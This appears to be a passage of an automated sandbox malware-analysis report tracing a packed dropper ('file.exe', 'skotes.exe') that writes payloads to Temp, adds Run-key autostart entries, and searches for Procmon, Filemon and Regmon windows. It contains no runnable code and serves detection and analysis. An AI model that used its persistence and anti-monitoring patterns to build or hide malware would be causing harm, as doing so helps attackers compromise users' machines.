Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: netutils.dll

Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2937856 > 1048576

Source: file.exe

Static PE information: Raw size of rdpqavxy is bigger than: 0x100000 < 0x2a1800

Source:	Binary string: my_library.pdbU source: 4b41d9dd20.exe, 00000013.00000002.2312440021.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, 4b41d9dd20.exe, 00000013.00000003.2271033754.00000000053AB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000025.00000000.2371590003.00000000008FC000.00000008.00000001.01000000.00000017.sdmp, 4b41d9dd20.exe, 00000029.00000003.2472215576.00000000051AB000.00000004.00001000.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000029.00000002.2513367110.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.16.dr
Source:	Binary string: my_library.pdb source: 4b41d9dd20.exe, 00000013.00000002.2312440021.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, 4b41d9dd20.exe, 00000013.00000003.2271033754.00000000053AB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000025.00000000.2371590003.00000000008FC000.00000008.00000001.01000000.00000017.sdmp, 4b41d9dd20.exe, 00000029.00000003.2472215576.00000000051AB000.00000004.00001000.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000029.00000002.2513367110.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.16.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe, 0000000A.00000003.1529282591.0000000005210000.00000004.00001000.00020000.00000000.sdmp, UOZM77Y2O77YBMEWY4B8DEDXRXA.exe, 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Unpacked PE file: 10.2.UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.bb0000.0.unpack :EW;.rsrc:W;.idata :W;jvktfkik:EW;lwlhqnbq:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Unpacked PE file: 11.2.SU4Z0W976Y8CJ3Z4HHN.exe.ac0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 12.2.skotes.exe.f50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.f50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Unpacked PE file: 18.2.6c1c4a36e1.exe.2c0000.0.unpack :EW;.rsrc:W;.idata :W;rdpqavxy:EW;vlmkkwpy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rdpqavxy:EW;vlmkkwpy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Unpacked PE file: 19.2.4b41d9dd20.exe.a30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dcpywpmo:EW;ghlarfhj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dcpywpmo:EW;ghlarfhj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Unpacked PE file: 38.2.6c1c4a36e1.exe.2c0000.0.unpack :EW;.rsrc:W;.idata :W;rdpqavxy:EW;vlmkkwpy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rdpqavxy:EW;vlmkkwpy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Unpacked PE file: 41.2.4b41d9dd20.exe.a30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dcpywpmo:EW;ghlarfhj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dcpywpmo:EW;ghlarfhj:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num[1].exe.16.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: skotes.exe.11.dr	Static PE information: real checksum: 0x1d8d5d should be: 0x1d1ab0
Source: random[1].exe.16.dr	Static PE information: real checksum: 0x2d5f17 should be: 0x2d1b47
Source: random[1].exe0.16.dr	Static PE information: real checksum: 0x215252 should be: 0x21306d
Source: num.exe.16.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.0.dr	Static PE information: real checksum: 0x2ac8e1 should be: 0x2a97e2
Source: 4b41d9dd20.exe.16.dr	Static PE information: real checksum: 0x215252 should be: 0x21306d
Source: file.exe	Static PE information: real checksum: 0x2d5f17 should be: 0x2d1b47
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: real checksum: 0x1d8d5d should be: 0x1d1ab0
Source: 6c1c4a36e1.exe.16.dr	Static PE information: real checksum: 0x2d5f17 should be: 0x2d1b47

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: rdpqavxy
Source: file.exe	Static PE information: section name: vlmkkwpy
Source: file.exe	Static PE information: section name: .taggant
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.0.dr	Static PE information: section name:
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.0.dr	Static PE information: section name: .idata
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.0.dr	Static PE information: section name: jvktfkik
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.0.dr	Static PE information: section name: lwlhqnbq
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.0.dr	Static PE information: section name: .taggant
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name:
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name: .idata
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name:
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name: npluczcb
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name: cveucipf
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.11.dr	Static PE information: section name:
Source: skotes.exe.11.dr	Static PE information: section name: .idata
Source: skotes.exe.11.dr	Static PE information: section name:
Source: skotes.exe.11.dr	Static PE information: section name: npluczcb
Source: skotes.exe.11.dr	Static PE information: section name: cveucipf
Source: skotes.exe.11.dr	Static PE information: section name: .taggant
Source: random[1].exe.16.dr	Static PE information: section name:
Source: random[1].exe.16.dr	Static PE information: section name: .idata
Source: random[1].exe.16.dr	Static PE information: section name: rdpqavxy
Source: random[1].exe.16.dr	Static PE information: section name: vlmkkwpy
Source: random[1].exe.16.dr	Static PE information: section name: .taggant
Source: 6c1c4a36e1.exe.16.dr	Static PE information: section name:
Source: 6c1c4a36e1.exe.16.dr	Static PE information: section name: .idata
Source: 6c1c4a36e1.exe.16.dr	Static PE information: section name: rdpqavxy
Source: 6c1c4a36e1.exe.16.dr	Static PE information: section name: vlmkkwpy
Source: 6c1c4a36e1.exe.16.dr	Static PE information: section name: .taggant
Source: random[1].exe0.16.dr	Static PE information: section name:
Source: random[1].exe0.16.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.16.dr	Static PE information: section name: .idata
Source: random[1].exe0.16.dr	Static PE information: section name:
Source: random[1].exe0.16.dr	Static PE information: section name: dcpywpmo
Source: random[1].exe0.16.dr	Static PE information: section name: ghlarfhj
Source: random[1].exe0.16.dr	Static PE information: section name: .taggant
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name:
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name: .rsrc
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name: .idata
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name:
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name: dcpywpmo
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name: ghlarfhj
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7AFCE push eax; ret	0_3_00D7B221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7AFCE push eax; ret	0_3_00D7B221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7AFCE push eax; ret	0_3_00D7B221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7AFCE push eax; ret	0_3_00D7B221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7E596 push edx; retf	0_3_00D7E5A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7E596 push edx; retf	0_3_00D7E5A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7E596 push edx; retf	0_3_00D7E5A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7E596 push edx; retf	0_3_00D7E5A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7B15C push eax; ret	0_3_00D7B221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7B15C push eax; ret	0_3_00D7B221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DBB54 push ss; iretd	0_3_054DBB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DBB54 push ss; iretd	0_3_054DBB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DBE51 push edx; iretd	0_3_054DBF2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DBE51 push edx; iretd	0_3_054DBF2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054E4B6A push esp; iretd	0_3_054E4B7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054E4B6A push esp; iretd	0_3_054E4B7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DE02A push ecx; retf	0_3_054DE050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DE02A push ecx; retf	0_3_054DE050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DE127 pushfd ; iretd	0_3_054DE139
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DE127 pushfd ; iretd	0_3_054DE139
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DE13A push DC716689h; ret	0_3_054DE166
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DE13A push DC716689h; ret	0_3_054DE166
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DBDD5 push edx; iretd	0_3_054DBF2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_054DBDD5 push edx; iretd	0_3_054DBF2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7AFCE push eax; ret	0_3_00D7B221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7AFCE push eax; ret	0_3_00D7B221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7AFCE push eax; ret	0_3_00D7B221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7AFCE push eax; ret	0_3_00D7B221
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7E596 push edx; retf	0_3_00D7E5A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7E596 push edx; retf	0_3_00D7E5A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D7E596 push edx; retf	0_3_00D7E5A9

Source: file.exe	Static PE information: section name: entropy: 7.981028282456901
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.0.dr	Static PE information: section name: entropy: 7.773585588411844
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name: entropy: 7.983780159268144
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name: npluczcb entropy: 7.953091087271067
Source: skotes.exe.11.dr	Static PE information: section name: entropy: 7.983780159268144
Source: skotes.exe.11.dr	Static PE information: section name: npluczcb entropy: 7.953091087271067
Source: random[1].exe.16.dr	Static PE information: section name: entropy: 7.981028282456901
Source: 6c1c4a36e1.exe.16.dr	Static PE information: section name: entropy: 7.981028282456901
Source: random[1].exe0.16.dr	Static PE information: section name: dcpywpmo entropy: 7.953610135953472
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name: dcpywpmo entropy: 7.953610135953472

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4b41d9dd20.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6c1c4a36e1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9af14a3c40.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Window searched: window name: FilemonClass	Jump to behavior
